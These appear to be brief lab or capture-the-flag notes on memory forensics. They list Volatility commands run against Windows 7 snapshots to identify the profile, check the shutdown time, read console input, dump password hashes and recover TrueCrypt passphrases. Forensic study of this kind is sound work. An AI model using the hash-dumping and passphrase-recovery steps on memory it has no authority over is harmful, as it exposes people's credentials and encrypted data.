  + sudo ./volatility\_2.6\_lin64\_standalone imageinfo -f Snapshot6.vmem.part
    - Suggested Profile
  + sudo ./volatility\_2.6\_lin64\_standalone -f /home/nicholas/Downloads/Snapshot6.vmem --profile Win7SP1x64 hashdump --output-file=snapshot6.creds
* Analysis
  + When was the machine last shutdown?
    - sudo ./volatility -f /home/nicholas/Downloads/Snapshot19.vmem shutdowntime --profile Win7SP1x64
  + What did the user write?
    - sudo ./volatility -f /home/nicholas/Downloads/Snapshot19.vmem consoles --profile Win7SP1x64
* TrueCrypt
  + Hidden partitions and encrypted files
    - sudo ./volatility -f /home/nicholas/Downloads/Snapshot14.vmem truecryptpassphrase --profile=Win7SP1x64